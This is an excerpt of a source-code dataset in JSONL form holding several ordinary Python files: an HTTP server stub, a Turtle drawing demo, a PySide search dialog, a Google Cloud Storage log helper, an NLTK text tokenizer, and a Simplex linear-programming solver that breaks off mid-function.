parser.parse_args().port\n\tserver_address=(DEFAULT_HOST,port)\n\tserver=HTTPServer(server_address, RequestHandler)\n\tserver.serve_forever()\n\n","sub_path":"pysocket/http_compression.py","file_name":"http_compression.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"384388104","text":"import turtle\n\ncaneta = turtle.Turtle()\n# >>>> ---------------------------- <<<<\n# >>>> Desenhar poligonos Regulares <<<<\n# >>>> ---------------------------- <<<<\n\n#caneta.circle(tamanho_raio,360,numero_lados)\n#Se quiser que o poligono comece em determinada orientação usar .setheding(angulo) antes de desenhar\n#Exemplo com quadrado\ncaneta.setheading(45)\ncaneta.circle(100,360,4)\nprint(caneta.heading())\ninput()","sub_path":"ComputacaoGrafica/Turtle/TruquesEDicas.py","file_name":"TruquesEDicas.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"211856060","text":"from isis.dialog_search_text import Dialog_Search_Text, Data_Table_Model\nfrom sarah.acp_bson import Client\nfrom decimal import Decimal\n\nclass Search_Perla_Price(Dialog_Search_Text):\n def __init__(self, parent=None, agent_perla=None):\n Dialog_Search_Text.__init__(self, parent)\n self.agent_perla = agent_perla\n\n def searching(self, e):\n if self.agent_perla is None:\n self.agent_perla = Client(self.APP_ID_DOC, 'perla')\n msg = {'type_message': 'find', 'type': 'perla/price', 'query': {'description': {'!like': e['text']}}}\n answer = self.agent_perla.send_msg(msg)\n e['list'] = answer['result']\n table = Data_Table_Model()\n e['table'] = table\n table.columns.add('id', str)\n table.columns.add('type', str)\n table.columns.add('description', str)\n table.columns.add('value', Decimal, formatstr='c')\n for price in e['list']:\n row = table.newrow()\n if 'id' in price:\n row['id'] = price['id']\n if 'type' in price:\n row['type'] = price['type']\n if 'description' in price:\n row['description'] = price['description']\n if 'value' in price:\n row['value'] = price['value']\n\n APP_ID_DOC = {'id': 'isis.search_perla_price'}\n\nif __name__ == '__main__':\n import sys\n from PySide.QtGui import QApplication\n app = QApplication(sys.argv)\n vv = Search_Perla_Price()\n vv.show()\n sys.exit(app.exec_())","sub_path":"isis/perla/search_perla_price.py","file_name":"search_perla_price.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"630862273","text":"import os\nimport logging\nimport asyncio\nimport google\n\nfrom .google_storage import GCS\nfrom .globals import tasks\n\n\nlog = logging.getLogger('logstore')\n\n\nclass LogStore:\n @staticmethod\n def container_log_path(directory, container_name):\n assert container_name in tasks\n return f'{directory}/{container_name}/job.log'\n\n @staticmethod\n def pod_status_path(directory):\n return f'{directory}/status'\n\n def __init__(self, blocking_pool, instance_id, bucket_name):\n self.instance_id = instance_id\n self.batch_bucket_name = bucket_name\n\n batch_gsa_key = os.environ.get('BATCH_GSA_KEY', '/batch-gsa-key/privateKeyData')\n credentials = google.oauth2.service_account.Credentials.from_service_account_file(\n batch_gsa_key)\n\n self.gcs = GCS(blocking_pool, credentials)\n\n def gs_job_output_directory(self, batch_id, job_id):\n return f'gs://{self.batch_bucket_name}/{self.instance_id}/{batch_id}/{job_id}'\n\n async def write_gs_file(self, uri, data):\n return await self.gcs.write_gs_file(uri, data)\n\n async def read_gs_file(self, uri):\n return await self.gcs.read_gs_file(uri)\n\n async def delete_gs_file(self, uri):\n try:\n await self.gcs.delete_gs_file(uri)\n except google.api_core.exceptions.NotFound:\n log.exception(f'file not found: {uri}, ignoring')\n\n async def delete_gs_files(self, directory):\n files = [LogStore.container_log_path(directory, container) for container in tasks]\n files.append(LogStore.pod_status_path(directory))\n errors = await asyncio.gather(*[self.delete_gs_file(file) for file in files])\n return list(zip(files, errors))\n","sub_path":"batch2/batch/log_store.py","file_name":"log_store.py","file_ext":"py","file_size_in_byte":1714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"277358310","text":"import glob\r\nimport os\r\nfrom bs4 import BeautifulSoup\r\nimport nltk\r\nfrom itertools import chain\r\nimport json\r\nimport nltk\r\nimport ssl\r\ntry:\r\n _create_unverified_https_context = ssl._create_unverified_context\r\nexcept AttributeError:\r\n pass\r\nelse:\r\n ssl._create_default_https_context = _create_unverified_https_context\r\nnltk.download('popular') \r\nimport re\r\nfrom nltk.corpus import stopwords\r\nfrom nltk.stem import PorterStemmer \r\n\r\nOUTPUT_FOLDER_PATH = os.path.join(\"output\") if (os.path.exists(\"output\")) else os.mkdir(\"output\")\r\ncount = 0\r\nDOCUMENT_OUTPUT_FILE = \"document.json\"\r\nTOKEN_OUTPUT_FILE = \"token.json\"\r\nDATASET_FOLDER = os.path.join(\"ft911\")\r\n\r\ndef write_to_json(file_name,data):\r\n with open(os.path.join(OUTPUT_FOLDER_PATH,file_name), \"w\") as filePointer:\r\n json.dump(data,filePointer)\r\n\r\ndef convert_lower_case(doc_text):\r\n return doc_text.lower()\r\n\r\ndef tokenize_and_cleaning(document_text):\r\n try:\r\n # remove all punctuations\r\n document_text_without_punctuation = re.sub(r'[^\\w\\s]', ' ', document_text) \r\n # Convert in tokens (split by white space)\r\n document_token_list = document_text_without_punctuation.split()\r\n # remove numbers and alphanumeric strings\r\n removed_numbers_tokens = [item for item in document_token_list if not any(data.isdigit() for data in item)]\r\n # get stop words from nltk\r\n stop_words_nltk = set(stopwords.words(\"english\")) \r\n # remove stop words\r\n removed_stopword_tokens = [word for word in removed_numbers_tokens if not word in stop_words_nltk] \r\n # stem words using PorterStemmer\r\n ps = PorterStemmer() \r\n stemmed_tokens = [ps.stem(word) for word in removed_stopword_tokens]\r\n # remove duplicate tokens \r\n clean_tokens = list(dict.fromkeys(stemmed_tokens))\r\n return clean_tokens\r\n except:\r\n return []\r\n\r\nif __name__ == \"__main__\":\r\n document_dict = {}\r\n token_list = []\r\n token_dictionary = {}\r\n try:\r\n # get file path and iterate over DATASET_FOLDER(\"ft911\") to get file\r\n for infile in glob.glob(os.path.join(DATASET_FOLDER, '*')):\r\n # read files which contain document\r\n review_file = open(infile,'r').read()\r\n # Using Beautifulsoup library extract details\r\n soup = BeautifulSoup(review_file)\r\n # From file this will extract all data betwenn and \r\n document_list = soup.find_all('doc')\r\n if(len(document_list)>0):\r\n # Iterate through all docment tag in single file\r\n for idx,data in enumerate(document_list):\r\n print(\"processing {} document of {}\".format(idx,data.find('docno')))\r\n # append processed tokens in token list\r\n token_list.append(tokenize_and_cleaning(data.find(\"text\").get_text().lower()))\r\n # add data in document dictionary\r\n document_dict[data.find('docno').get_text()] = count\r\n count = count + 1\r\n token_list = list(chain.from_iterable(token_list))\r\n clean_token_list = sorted(token_list)\r\n clean_token_list = list(dict.fromkeys(clean_token_list))\r\n token_dict = {key: value for value, key in enumerate(clean_token_list)}\r\n\r\n write_to_json(DOCUMENT_OUTPUT_FILE,document_dict)\r\n write_to_json(TOKEN_OUTPUT_FILE,token_dict)\r\n with open(\"parse_output.txt\",\"w\") as fp:\r\n for key,value in token_dict.items():\r\n fp.write(str(key) + \" \" + str(value) +\"\\n\")\r\n fp.write(\"..........................................\\n\")\r\n for key,value in document_dict.items():\r\n fp.write(str(key) + \" \" + str(value) +\"\\n\")\r\n except FileExistsError as fnf:\r\n print(\"please check file path\")\r\n except Exception as e :\r\n print(e)\r\n","sub_path":"textProcessingEngine/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"540840635","text":"#!/usr/bin/env python3\n#importado teniendo que descargar cosas\nimport numpy as np\nimport sys\nfrom scipy.linalg import *\nimport os.path\nimport io as io\n#importado sin tener que configurar nada\n\n# simplex --input carlos.problem --output carlos.solution --dual\n#\n# TODO list\n# 1. Reconocer ficheros de entrada (carlos.problem):\n# 1.a. Primero la funcion objetivo con min o max y el vector c\n# 1.b. Una linea por cada restriccion con los coeficientes, el operador <=, =, >= y el recurso\n# 2. Generar la salida en salida estandar (si no se indica --output), en el ejemplo carlos.solution\n# 3. Programar la resolucion de problemas duales\n# 4. Usar argparse para poder hacer el parsing de la linea de comandos\n\n\n \n \n \n\n\ndef variablesNoiteration(matrix,variablesIteration):\n \"\"\"This method receives a numpy matrix and a numpy array with the variables of the iteration,\n and returns an array with the variables which are not in the iteration.If the parameters are not\n correct, it returns None.\"\"\"\n #It is checked if parameters are correct\n if type(matrix) != np.matrix or type(variablesIteration) != np.ndarray or len(variablesIteration) > matrix.shape[1]:\n return None\n #set of all variables\n groupOfVariables=np.array(range(matrix.shape[1]))\n #variables which are not in the iteration\n varNoIter=np.array([])\n \n #It is checked which variables are not in the iteration \n for i in range(groupOfVariables.size):\n if groupOfVariables[i] not in variablesIteration:\n varNoIter=np.append(varNoIter,i)\n \n #returns variables which are not in the iteration\n return varNoIter\n\ndef calcMinNoNeg(setOfVal):\n '''This method receive a numpy array, and return the minimum no negative value of it or None if there are\n not positive values. If the parameters are not correct, it returns None.'''\n \n #It is checked if parameters are correct\n if type(setOfVal) != np.ndarray:\n return None\n \n auxiliar=np.array([])\n \n for i in range(setOfVal.size):\n #Only considered above zero values\n if(setOfVal[i]>=0):\n auxiliar=np.append(auxiliar,setOfVal[i])\n #returns the minimum value of the selected values.\n if len(auxiliar)>0:\n return min(auxiliar)\n else:\n #returns None if the problem is not bounded\n return None\n\n\ndef calculateIndex(array,value):\n '''This method receive a numpy array and a value, and returns the position of this value in the array. If\n the value is not in the array, the method returns None. If the parameters are not correct, it returns None.'''\n \n #It is checked if parameters are correct\n if type(array) != np.ndarray or (type(value)!=int and type(value)!=float and type(value)!=np.float64 and type(value) != np.int32):\n return None\n \n for i in range(array.size):\n if(array[i] == value):\n #returns the position of the value\n return i\n #returns None \n return None\n\ndef calculateBaseIteration(totalMatrix,columnsOfIteration):\n '''This method returns the base of an iteration in a numpy matrix. It recieves a numpy matrix(this matrix should be the initial\n matrix of the problem) and a numpy array with the columns of iteration. If the parameters are not correct, it returns None.'''\n \n #It is checked if parameters are correct\n if type(totalMatrix) != np.matrix or type(columnsOfIteration) != np.ndarray or len(columnsOfIteration) > totalMatrix.shape[1]:\n return None\n \n #MEJORABLE\n #It is added the first column of iteration to the base matrix\n B = np.matrix(np.c_[totalMatrix[:,[columnsOfIteration[0]]]])\n #They are added the others column of iteration to the base matrix\n for i in range(columnsOfIteration.size):\n if i!=0 :\n B = np.matrix(np.c_[B,totalMatrix[:,[columnsOfIteration[i]]]])\n #returns the base of iteration \n return B\n\ndef showBase(Base):\n '''This method receives the base of iteration in a numpy matrix and prints it.If the parameters are not correct, it returns None.'''\n \n #It is checked if parameters are correct\n if type(Base) != np.matrix:\n return None\n \n print(\"B = \"+ str(Base))\n \n\ndef calculateIterationSolution(invertedBase,resourcesVector):\n '''This method receive the inverted base of iteration in a numpy matrix and the resoruces vector in a\n column numpy array. It return the solution of the iteration in a numpy matrix. If the parameters are not correct, it returns None.'''\n \n #It is checked if parameters are correct\n if type(invertedBase) != np.matrix or type(resourcesVector) != np.ndarray or len(resourcesVector) != invertedBase.shape[0]:\n return None\n \n #The resources vector is casted to a matrix to perform the vector product properly\n resourcesVector=np.asmatrix(resourcesVector)\n #returns the product between the inverted base and the resources vector, in a numpy matrix\n return invertedBase*resourcesVector\n\ndef showSolution(sol):\n '''This method receives the solution of iteration in a numpy array and prints it.If\n the parameters are not correct, it returns None.'''\n \n #It is checked if parameters are correct\n if type(sol) != np.matrix:\n return None\n \n print(\"x = \"+ str(sol))\n \n\ndef calculateCB(columnsOfIteration,functionVector):\n '''This method receive the columns of the iteration in a numpy array and the function vector in\n other numpy array. It returns the value of function vector for this iteration in a numpy array.If the\n parameters are not correct, it returns None.'''\n \n #It is checked if parameters are correct\n if type(columnsOfIteration) != np.ndarray or type(functionVector) != np.ndarray or len(columnsOfIteration) > len(functionVector):\n return None\n \n \n CB = np.array([])\n #The coefficient of variables of the vector function which are in the iteration are added\n for i in range(columnsOfIteration.size): \n CB= np.append(CB,functionVector[columnsOfIteration[i]])\n #returns the value of function vector for this iteration in a numpy array \n return CB\n\ndef showCB(CBValue):\n '''This method receives the the value of function vector in a numpy array and prints it. If the\n parameters are not correct, it returns None.'''\n \n #It is checked if parameters are correct\n if type(CBValue) != np.ndarray:\n return None\n print(\"CB = \"+ str(CBValue))\n \n \ndef calculateFunctionValueOfIteration(solution,CB): \n '''This method recieve the solution of the iteration in a column numpy array and the value of function vector\n for this iteration in a numpy array. It returns the value of the function in this iteration. If the\n parameters are not correct, it returns None.'''\n \n #It is checked if parameters are correct\n if type(solution) != np.ndarray or type(CB) != np.ndarray or len(solution)!=len(CB):\n return None\n \n #The solution is casted to a matrix to perform the vector product properly\n solution=np.asmatrix(solution)\n #returns the value of the function for this iteration\n return CB.T*solution\n\ndef showFunctionValue(functionValue):\n '''This method receives the the value of the function in a numpy array and prints it. If the\n parameters are not correct, it returns None.'''\n \n #It is checked if parameters are correct\n if type(functionValue) != np.matrix:\n return None\n \n print(\"z = \"+str(float(functionValue)))\n \n\ndef calculateYValues(variablesNoIteration,iterationBase,totalMatrix):\n '''This method receives the variables which are not in the iteration in a numpy array,\n the iteration base in a numpy matrix and the initial matrix of the problem, in a numpy matrix.\n It returns the y values for this iteration. If the parameters are not correct, it returns None.'''\n \n #It is checked if parameters are correct \n if type(totalMatrix) != np.matrix or type(iterationBase) != np.matrix or type(variablesNoIteration) != np.ndarray or iterationBase.shape[0]!= totalMatrix.shape[0] or len(variablesNoIteration) > totalMatrix.shape[1]:\n return None\n \n y=np.array([])\n #They are only selected the columns of the intial matrix which variable are not in the iteration and\n #these columns are multiplied by inverted base of the iteration\n for i in range(variablesNoIteration.size):\n y=np.append(y,inv(iterationBase)*totalMatrix[:,[variablesNoIteration[i]]])\n #Esto es porque me mete todos los valores seguidos [1,1,1,1,1,2] y con ello consigo dividirlo en 2\n y=y.reshape(variablesNoIteration.size,totalMatrix.shape[0])\n #returns the y values in a numpy array\n return y\n\ndef showYValues(variablesNoIteration,y):\n '''This method receives the the y values in a numpy array and prints it. It also receives the variables\n which are not in the iteration in numpy array. If the parameters are not correct, it returns None.'''\n \n #It is checked if parameters are correct\n if type(y) != np.ndarray or type(variablesNoIteration) != np.ndarray:\n return None\n \n for i in range(variablesNoIteration.size):\n \n print(\"y\"+ str(int(variablesNoIteration[i]))+\"=\"+str(y[i]))\n \ndef calculateZC(functionVector,variablesNoIteration,CB,y):\n '''This method receives the complete function vector in a numpy array, the variables which are\n not in the iteration in a numpy array, the function vector of the iteration in a numpy array and the\n y values in a numpy array. It returns the values of the input rule in a numpy array. If the parameters are\n not correct, it returns None.'''\n \n #It is checked if parameters are correct\n if type(functionVector) != np.ndarray or type(variablesNoIteration) != np.ndarray or type(CB) != np.ndarray or type(y) != np.ndarray or len(CB)!=y.shape[1] or len(variablesNoIteration)>len(functionVector) or len(CB)>len(functionVector):\n return None\n \n CB=np.asmatrix(CB)\n Z_C=np.array([])\n for i in range(variablesNoIteration.size):\n y[i]=np.asmatrix(y[i])\n #It is performed the product of the vector function of the iteration and each y value, and\n #it is subtracted the coefficient of the function variables which are not in the iteration\n Z_C=np.append(Z_C,np.dot(CB,y[i])-(functionVector[variablesNoIteration[i]]))\n #returns the input rule values in a numpy array \n return Z_C\n\ndef showZCValues(variablesNoIteration,Z_C):\n '''This method receives the values of the input rule in a numpy array and prints it. It also receives the variables\n which are not in the iteration in numpy array.If the parameters are not correct, it returns None.'''\n \n #It is checked if parameters are correct\n if type(Z_C) != np.ndarray or type(variablesNoIteration) != np.ndarray or len(variablesNoIteration)!= len(Z_C):\n return None\n print(\"Input rule:\")\n for i in range(variablesNoIteration.size): \n print(\"Z_C\"+ str(int(variablesNoIteration[i]))+\"=\"+str(Z_C[i]))\n \n \ndef thereIsAnotherIteration(inputRuleValues):\n '''This method receive the values of the input rule in a numpy array. It returns if there is another iteration\n or not, and if the problem has many solutions.If the parameters are not correct, it returns None.'''\n \n #It is checked if parameters are correct\n if type(inputRuleValues) != np.ndarray:\n return None\n \n if(np.min(inputRuleValues)<0):\n #returns true if there is another iteration\n return True\n elif(np.min(inputRuleValues) == 0):\n #returns -1 if the problem has many solutions\n return -1\n else:\n #returns true if there is not another iteration\n return False\n \ndef showNextIteration(thereIsAnotherIter):\n '''This method receives if there is another iteration or not, and print an explanation of it. It receives true\n if there is another iteration, false if not, and -1 if the problem has many solutions.If the parameters\n are not correct, it returns None.'''\n \n #It is checked if parameters are correct\n if thereIsAnotherIter != True and thereIsAnotherIter != False and thereIsAnotherIter != -1:\n return None \n \n \n if thereIsAnotherIter and thereIsAnotherIter != -1:\n print(\"The problem is not finished. There is another iteration,because there is at least one negative reduced cost.\")\n elif thereIsAnotherIter == -1 :\n print(\"The problem is finished. There are a large amount of solutions.\")\n else:\n print(\"The problem is finished, because there is not any negative reduced cost.\")\n \ndef calculateVarWhichEnter(variablesNoIteration,inputRuleValues):\n '''This method receives the variables which are not in the iteration in a numpy array and\n the input rule values in a numpy array. It returns the variable which enters in the next iteration. If the parameters\n are not correct, it returns None.'''\n \n #It is checked if parameters are correct\n if type(inputRuleValues) != np.ndarray or type(variablesNoIteration) != np.ndarray or len(variablesNoIteration) != len(inputRuleValues):\n return None \n #returns the variable which has the minimum value in the input rule\n return variablesNoIteration[np.argmin(inputRuleValues)]\n\ndef showVarWhichEnter(variableWhichEnter):\n '''This method receives the value of variable which enters and prints it.If the parameters\n are not correct, it returns None.'''\n \n #It is checked if parameters are correct\n if type(variableWhichEnter) != np.float64 and type(variableWhichEnter) != int and type(variableWhichEnter) != float and type(variableWhichEnter) != np.int32:\n return None\n \n print(\"The variable which enters in the next iteration is \"+str(variableWhichEnter))\n\n\n#esto no me vale en el caso de que tenga un denominador negativo y un numerador 0, ver ese caso, ya contemplado pero sale nan\ndef calculateExitValues(inputRuleValues,yValues,sol):\n '''This method receives the the input rule values in a numpy array, the y values of the iteration in a numpy array\n and the solution of the iteration in a numpy array.It returns the values of the output rule in a numpy array.If the parameters\n are not correct, it returns None.'''\n \n #It is checked if parameters are correct\n if type(inputRuleValues) != np.ndarray or type(yValues) != np.ndarray or type(sol) != np.ndarray or len(yValues) != len(inputRuleValues) or yValues.shape[1]!=len(sol):\n return None\n \n \n auxiliar=np.array([])\n #Select the y column of the variable which are going to enter in the next iteration\n yp=yValues[np.argmin(inputRuleValues)]\n \n #It is divided the solution values of the iteration between the selected y values.\n #The negative and zero values of y are discarded.\n for i in range(sol.size):\n if(yp[i]<=0):\n auxiliar=np.append(auxiliar,np.nan)\n else:\n auxiliar=np.append(auxiliar,sol[i]/yp[i])\n #returns the values of the output rule in a numpy array \n return auxiliar\n\ndef showExitValues(exitValues):\n '''This method receives the values of the output rule in a numpy array and prints it.If the parameters\n are not correct, it returns None.'''\n \n #It is checked if parameters are correct\n if type(exitValues) != np.ndarray :\n return None\n \n print(\"Output rule:\")\n print(\"O = min {\"+str(exitValues)+\"}\")\n \ndef calculateO(exitValues):\n '''This method receives the values of the output rule in a numpy array. It returns O value(the minimum no negative\n value of the output rule values) or None if the problem is not bounded. If the parameters are not correct,\n it returns None.'''\n \n #It is checked if parameters are correct\n if type(exitValues) != np.ndarray :\n return None\n \n O = calcMinNoNeg(exitValues)\n if O != None:\n #returns the minimum no negative value of the output rule values\n return calcMinNoNeg(exitValues)\n else:\n #returns None if the problem is not bounded\n return None\n\ndef showOValue(O):\n '''This method receives the value of O and prints it. If the parameters\n are not correct, it returns None.'''\n \n #It is checked if parameters are correct\n if type(O)!=int and type(O)!=float and type(O)!=np.float64 and type(O)!=np.int32:\n return None\n print(\"O = \"+str(O))\n \n \ndef calculateVarWhichExit(columnsOfIteration,outputRuleValues):\n '''This method receives the variables of the iteration in a numpy array and\n the values of the output rule in a numpy array. It returns the variable which\n exits in this iteration or None if the problem is not bounded. If the parameters\n are not correct, it returns None.'''\n \n #It is checked if parameters are correct\n if type(columnsOfIteration) != np.ndarray or type(outputRuleValues) != np.ndarray:\n return None\n O = calculateO(outputRuleValues)\n \n #returns the variable which has the minimum no negative value in the output rule\n \n if O != None:\n return columnsOfIteration[calculateIndex(outputRuleValues,O)]\n else:\n #returns None if the problem is not bounded\n return None\n\ndef showVarWhichExit(varWhichExit):\n '''This method receives the value of variable which exits and prints it. If the parameters\n are not correct, it returns None.'''\n \n #It is checked if parameters are correct\n if type(varWhichExit)!=int and type(varWhichExit)!=float and type(varWhichExit)!=np.float64 and type(varWhichExit)!=np.int32:\n return None\n \n print(\"The variable which exits in this iteration is \"+str(varWhichExit))\n \n \ndef showIterCol(columnsOfIteration):\n '''This method receives the columns of a the iteration in a numpy array and prints it. If the parameters\n are not correct, it returns None.'''\n \n #It is checked if parameters are correct\n if type(columnsOfIteration) != np.ndarray:\n return None\n \n print(\"The variables of this iteration are \"+ str(columnsOfIteration))\n \ndef solveIteration(totalMatrix,b,functionVector,columnsOfIteration):\n '''This method receives the initial matrix of the problem in a numpy matrix, the resources vector\n in a column numpy array, the complete function vector in a numpy array and the variables of the iteration\n in a numpy array. It returns the solution of the iteration, the value of the function fot his iteration,\n the variable which enters in the next iteration, the variable which exits in this iteration and if there\n is another iteration. If the parameters are not correct, it returns None.'''\n \n #It is checked if parameters are correct\n if type(totalMatrix) != np.matrix or type(columnsOfIteration) != np.ndarray or type(b) != np.ndarray or type(functionVector) != np.ndarray or len(b)!=totalMatrix.shape[0] or len(functionVector)!=totalMatrix.shape[1] or len(columnsOfIteration)!=totalMatrix.shape[0]:\n return None\n \n nextIteration = False\n \n \n #The iteration base is calculated \n B0=calculateBaseIteration(totalMatrix,columnsOfIteration)\n #The base of iteration is showed \n showBase(B0)\n \n #The iteration base is inverted \n invB0=inv(B0)\n \n #The solution of the iteration is calculated \n x0=calculateIterationSolution(np.asmatrix(invB0),b)\n x0=np.asarray(x0)\n #The solution of the iteration is showed \n \n showSolution(x0)\n \n \n #The function vector for this iteration is calculated \n CB=calculateCB(columnsOfIteration,functionVector)\n #The function vector is showed \n showCB(CB)\n #The function value for this iteration is calculated \n z0 = calculateFunctionValueOfIteration(x0,CB)\n #Function value is showed \n showFunctionValue(z0)\n\n #y values are calculated \n y=calculateYValues(variablesNoiteration(totalMatrix,columnsOfIteration),B0,totalMatrix)\n #y values are showed\n showYValues(variablesNoiteration(totalMatrix,columnsOfIteration),y)\n #Input rule values are calculated \n Z_C=calculateZC(functionVector,variablesNoiteration(totalMatrix,columnsOfIteration),CB,y)\n #Input rule values are showed \n showZCValues(variablesNoiteration(totalMatrix,columnsOfIteration),Z_C)\n \n #It is checked if there is another iteration\n nextIteration=thereIsAnotherIteration(Z_C)\n #It is showed if there is another iteration\n showNextIteration(nextIteration) \n #inicializo aqui para que no me de problemas de asignacion antes de hacerla\n variableWhichEnters=[]\n variableWhichExits=[]\n \n #If there is another iteration \n if nextIteration and nextIteration!=-1: \n #Variable which enters is calculated \n variableWhichEnters = calculateVarWhichEnter(variablesNoiteration(totalMatrix,columnsOfIteration),Z_C)\n #O value is calculated \n O=calculateO(calculateExitValues(Z_C,y,x0))\n #Variable which exits is calculated \n \n \n variableWhichExits= calculateVarWhichExit(columnsOfIteration,calculateExitValues(Z_C,y,x0)) \n \n if O != None: \n #Variable which enters is showed \n showVarWhichEnter(variableWhichEnters)\n #Output rule values are showed \n showExitValues(calculateExitValues(Z_C,y,x0))\n #O value is showed \n showOValue(O)\n #Variable which exits is showed \n showVarWhichExit(variableWhichExits)\n \n #return the solution, the value of the function, the variable which enters,the variable which enters and\n #if there is another iteration\n return [x0,z0,variableWhichEnters,variableWhichExits,nextIteration]\n\ndef identityColumnIsInMatrix(matrix,column):\n '''This method receives a numpy matrix and a index of a column(this index is the index of\n an identity matrix column). It returns the index of the column in the matrix. If the parameters\n are not correct, it returns None.'''\n \n \n #It is checked if parameters are correct\n if type(matrix) != np.matrix or (type(column)!=int and type(column)!=float and type(column)!=np.float64 and type(column)!=np.int32) or column >= matrix.shape[1]:\n return None \n \n #Identity matrix with the properly size is generated\n identity=np.identity(int(matrix.shape[0]))\n for j in range(matrix.shape[1]):\n #It is checked if the column(of the identity matrix) introduced as a parameter of the method\n #is in the matrix\n if np.array_equal(matrix[:,j],identity[:,[column]]):\n #returns the index of the column in the matrix. \n return j\n\ndef variablesFirstIteration(totalMatrix):\n '''This method receives the initial matrix of the problem in a numpy matrix. It returns the\n variables of the first iteration of the problem in a numpy array.If the parameters are not\n correct, it returns None.'''\n \n #It is checked if parameters are correct\n if type(totalMatrix) != np.matrix :\n return None\n \n aux=[]\n #It is looked for where are the columns of the identity matrix in the initial matrix of the problem\n for j in range(totalMatrix.shape[0]):\n aux.append(identityColumnIsInMatrix(totalMatrix,j))\n \n variablesFirstIteration=np.array(aux)\n #returns the index of the columns the initial matrix which are equal to columns of the identity matrix\n return variablesFirstIteration\n \ndef calculateColumnsOfIteration(variableWhichEnters,variableWhichExits,previousVariables):\n '''This method receives the variable which enters in this iteration,the variable which exits\n in the previous iteration and the variables of the previous iteration in a numpy array. It returns\n the variables of the iteration in a numpy array. If the parameters are not correct, it\n returns None.'''\n #It is checked if parameters are correct\n if type(previousVariables) != np.ndarray or (type(variableWhichEnters)!=int and type(variableWhichEnters)!=float and type(variableWhichEnters)!=np.float64 and type(variableWhichEnters)!=np.int32) or (type(variableWhichExits)!=int and type(variableWhichExits)!=float and type(variableWhichExits)!=np.float64 and type(variableWhichExits)!=np.int32):\n return None\n \n #It is deleted de variable which exits\n variablesOfIteration=np.delete(previousVariables,np.where(previousVariables==variableWhichExits))\n #It is add de variable which enters\n variablesOfIteration=np.append(variablesOfIteration,variableWhichEnters)\n #The variables of the iteration are sorted\n variablesOfIteration=np.sort(variablesOfIteration)\n #returns the variables of the iteration in a numpy array\n return variablesOfIteration\n\ndef completeSolution(variablesOfIter,numberOfVariables,iterationSolution):\n '''This method receives the variables of the last iteration in a numpy array, the total number of variables\n and the solution of the iteration in a numpy array. It returns the complete solution of the problem(with the\n variables which are not in the iteration). If the parameters are not correct, it returns None.'''\n \n \n #It is checked if parameters are correct\n if type(variablesOfIter) != np.ndarray or (type(numberOfVariables)!=int and type(numberOfVariables)!=float and type(numberOfVariables)!=np.float64 and type(numberOfVariables)!=np.int32) or type(iterationSolution) != np.ndarray or len(variablesOfIter)>numberOfVariables or len(variablesOfIter)>numberOfVariables or len(iterationSolution)!=len(variablesOfIter):\n return None\n \n \n #All of values of the solution are initialized to zero value\n solution=np.zeros(numberOfVariables)\n #The values of the iteration solution are introduced in the solution\n for i in range(numberOfVariables):\n if(i in variablesOfIter):\n solution[i]=iterationSolution[int(np.where(variablesOfIter==i)[0])]\n\n return solution\n \n#Con este metodo consigo anadir solo las columnas de la matriz identidad que sea necesario\ndef addIdentityColumns(matrixInitial):\n '''This method receive a matrix in a numpy matrix. It returns the identity columns \n which are not in the matrix yet.If the parameters are not correct, it returns None.'''\n \n #It is checked if parameters are correct\n if type(matrixInitial) != np.matrix:\n return None\n \n #An identity matrix is generated with the properly shape\n identity=np.identity(int(matrixInitial.shape[0]))\n lis=[]\n #It is checked which are columns of the identity matrix that are in the matrix\n for i in range(identity.shape[1]):\n for j in range(matrixInitial.shape[1]):\n if np.array_equal(matrixInitial[:,j],identity[:,[i]]) and i not in lis:\n lis.append(i)\n \n #The columns of the identity matrix that are in the matriz, are deleted of the identity matrux\n identity=np.delete(identity,lis,1) \n #returns the columns columns which are not in the matrix yet \n return identity\n\n####\n'''\ndef aproximateTo10(value):\n This method receive a value and returns the nearest ten value.\n #meter lo del float o int\n value=int(value)\n if value >0:\n while(value%10!=0):\n value+=1\n else:\n value=10\n return value \n'''\n\ndef isStringList(lis):\n '''This method receives a list. The method returns False if all elements of the list are strings or\n False if not. If the parameters are not correct, it returns None.'''\n \n #It is checked if parameters are correct\n if type(lis) != list:\n return None\n \n #If there is any value which is not a string, it return False\n for i in lis: \n if type(i)!=str:\n #returns False\n return False\n #return True, if all values are strings\n return True\n\ndef calculateArtificialValueInFunction(array):\n ''' This method receives the function vector in a numpy array,calculates the value of the\n coefficient in function for an artificial variable and returns it. If the parameters are not correct,\n it returns None.'''\n \n #It is checked if parameters are correct\n if type(array) != np.ndarray:\n return None\n \n value=0\n #It is changed every negative value\n for i in range(len(array)):\n if(array[i]<0):\n \n value+=array[i]*-1\n else:\n value+=array[i]\n \n value+=1\n value=int(value)\n #It is calculated the nearest ten\n while(value%10!=0):\n value+=1\n \n #returns the value of the coefficent for an artificial variable\n return value \n \n\ndef addArtificialVariablesToFunctionVector(vector,numOfArtificialVariables):\n '''This method receives the function vector in a numpy array and the number of artificial variables\n of the problem. It returns the function vector with the coefficient of the articial variables added in\n a numpy array. If the parameters are not correct, it returns None.'''\n \n #It is checked if parameters are correct\n if type(vector) != np.ndarray or (type(numOfArtificialVariables)!=int and type(numOfArtificialVariables)!=float and type(numOfArtificialVariables)!=np.float64 and type(numOfArtificialVariables)!=np.int32):\n return None\n\n for i in range(numOfArtificialVariables):\n #Coefficient of the articial variables must be grater than the sum of the rest of the coefficients and negative\n \n vector=np.append(vector,calculateArtificialValueInFunction(vector)*-1) \n #returns the function vector with the coefficient of the articial variables added in a numpy array\n \n return vector\n\ndef calculateWhichAreArtificialVariables(vector,numOfArtificialVariables):\n '''This method receive the vector function in a numpy array, and the number of the artificial\n variables(The artificial variables must be in the last positions of the function vector). It\n returns which are the artificial variables in a list. If the parameters are not correct, it\n returns None.'''\n \n #It is checked if parameters are correct\n if type(vector) != np.ndarray or (type(numOfArtificialVariables)!=int and type(numOfArtificialVariables)!=float and type(numOfArtificialVariables)!=np.float64 and type(numOfArtificialVariables)!=np.int32):\n return None\n \n varArtific=[]\n 